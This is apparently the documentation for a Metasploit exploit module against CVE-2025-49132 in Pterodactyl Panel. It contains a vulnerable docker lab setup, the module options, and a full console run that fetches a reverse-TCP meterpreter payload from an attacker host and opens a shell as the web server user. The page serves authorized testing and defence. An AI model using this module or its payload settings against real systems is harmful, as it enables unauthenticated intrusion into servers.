## Vulnerable Application

This module exploits a vulnerability in Pterodactyl Panel before version 1.11.11 that allows unauthenticated
remote code execution through improper handling of locale file operations. The vulnerability
exists in the locale.json endpoint which allows path traversal and arbitrary file creation. Code execution
is in the context of the user running the webserver.

The exploit leverages PEAR (PHP Extension and Application Repository) for command injection by creating a
malicious payload file in the /tmp through path traversal, then executing it via PHP execution with pearcmd.

### Setup

A vulnerable instance of Pterodactyl Panel (unpatched against CVE-2025-49132) can be setup with the following docker compose file:
```
version: '3.8'
services:
  database:
    image: public.ecr.aws/docker/library/mariadb:10.5
    ports:
      - "3306:3306"
    restart: always
    environment:
      MYSQL_DATABASE: panel
      MYSQL_USER: pterodactyl
      MYSQL_PASSWORD: password
      MYSQL_ROOT_PASSWORD: root_password
    volumes:
      - db_data:/var/lib/mysql
    healthcheck:
      test: ["CMD", "healthcheck.sh", "--connect", "--innodb_initialized"]
      interval: 10s
      timeout: 5s
      retries: 3
      start_period: 30s

  cache:
    image: public.ecr.aws/docker/library/redis:alpine
    restart: always

  panel:
    image: ghcr.io/pterodactyl/panel:v1.11.10
    ports:
      - "80:80"
    environment:
      DB_HOST: database
      DB_DATABASE: panel
      DB_USERNAME: pterodactyl
      DB_PASSWORD: password
      REDIS_HOST: cache
      APP_URL: "http://localhost"
      APP_ENV: "local"
      APP_DEBUG: "true"
      APP_SERVICE_AUTHOR: "support@example.com"
      APP_TIMEZONE: "Asia/Shanghai"
    depends_on:
      database:
        condition: service_healthy
      cache:
        condition: service_started
    volumes:
      - panel_data:/app/var/

volumes:
  db_data:
  panel_data:
```

## Options

### TARGETURI
The base path to the Pterodactyl Panel instance. (Default: `/`)

### UPLOAD_DIR
The directory where the payload will be temporarily uploaded. This defaults to `/tmp`, which aligns with the default webroot behavior in standard Docker instances.

### TRAVERSAL_PATH
The path used to traverse to the PHP installation. (Default: `/usr/local/lib/php`)

### TRAVERSAL_DEPTH
The number of parent-directory traversal segments used to reach the base path specified by `TRAVERSAL_PATH`. Increase
or decrease this value depending on how many directories must be traversed from the vulnerable file operation location
to the target PHP installation path. This works in combination with `TRAVERSAL_PATH`: `TRAVERSAL_DEPTH` controls how
far up the filesystem the module traverses, and `TRAVERSAL_PATH` specifies the path to follow after that traversal.
(Default: `5`)


## Verification Steps

1. Start `msfconsole`.
2. Do: `use exploit/linux/http/pterodactyl_locales_locale_json`
3. Set the `RHOSTS` option to the target IP address or hostname.
4. Run the module.
5. Receive a Meterpreter session or command shell as the web server user.

## Scenarios

### Pterodactyl Panel 1.11.10 in Docker
```
msf exploit(linux/http/pterodactyl_locales_locale_json) > options

Module options (exploit/linux/http/pterodactyl_locales_locale_json):

   Name             Current Setting     Required  Description
   ----             ---------------     --------  -----------
   Proxies                              no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, socks5h, http
   RHOSTS           127.0.0.1           yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT            80                  yes       The target port (TCP)
   SSL              false               no        Negotiate SSL/TLS for outgoing connections
   TARGETURI        /                   yes       The base path to the Pterodactyl instance
   TRAVERSAL_DEPTH  5                   no        Traversal path (defaults to the default install location of php in the )
   TRAVERSAL_PATH   /usr/local/lib/php  no        Traversal path (defaults to the default install location of php in the )
   UPLOAD_DIR       /tmp                no        Upload directory (defaults to the default webroot in the docker instance)
   VHOST                                no        HTTP server virtual host


Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   FETCH_COMMAND   CURL             yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
   FETCH_DELETE    false            yes       Attempt to delete the binary after execution
   FETCH_FILELESS  none             yes       Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8, tested shells are sh, bash, zsh) (Accepted: none, python3.8+, shell-search, shell)
   FETCH_SRVHOST                    no        Local IP to use for serving payload
   FETCH_SRVPORT   8080             yes       Local port to use for serving payload
   FETCH_URIPATH                    no        Local URI to use for serving payload
   LHOST           172.16.199.1     yes       The listen address (an interface may be specified)
   LPORT           3343             yes       The listen port


   When FETCH_COMMAND is one of CURL,GET,WGET:

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   FETCH_PIPE  false            yes       Host both the binary payload and the command so it can be piped directly to the shell.


   When FETCH_FILELESS is none:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_FILENAME      XGbXaVnc         no        Name to use on remote system when storing payload; cannot contain spaces or slashes
   FETCH_WRITABLE_DIR  ./               yes       Remote writable dir to store payload; cannot contain spaces


Exploit target:

   Id  Name
   --  ----
   0   Command Payload



View the full module info with the info, or info -d command.

msf exploit(linux/http/pterodactyl_locales_locale_json) > run
[*] Started reverse TCP handler on 172.16.199.1:3343
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Version found: 1.11.10
[*] Uploading payload file to /tmp/akrwapxneo.php
[*] Sending initial payload creation request...
[*] Initial request response code: 200
[*] Triggering payload execution...
[*] Sending stage (3090404 bytes) to 172.16.199.1
[+] Deleted /tmp/akrwapxneo.php
[*] Meterpreter session 1 opened (172.16.199.1:3343 -> 172.16.199.1:51339) at 2026-05-13 16:03:07 -0700

meterpreter > getuid
Server username: nginx
meterpreter > sysinfo
Computer     : 4a80f1ad652d
OS           :  (Linux 6.12.76-linuxkit)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >
```
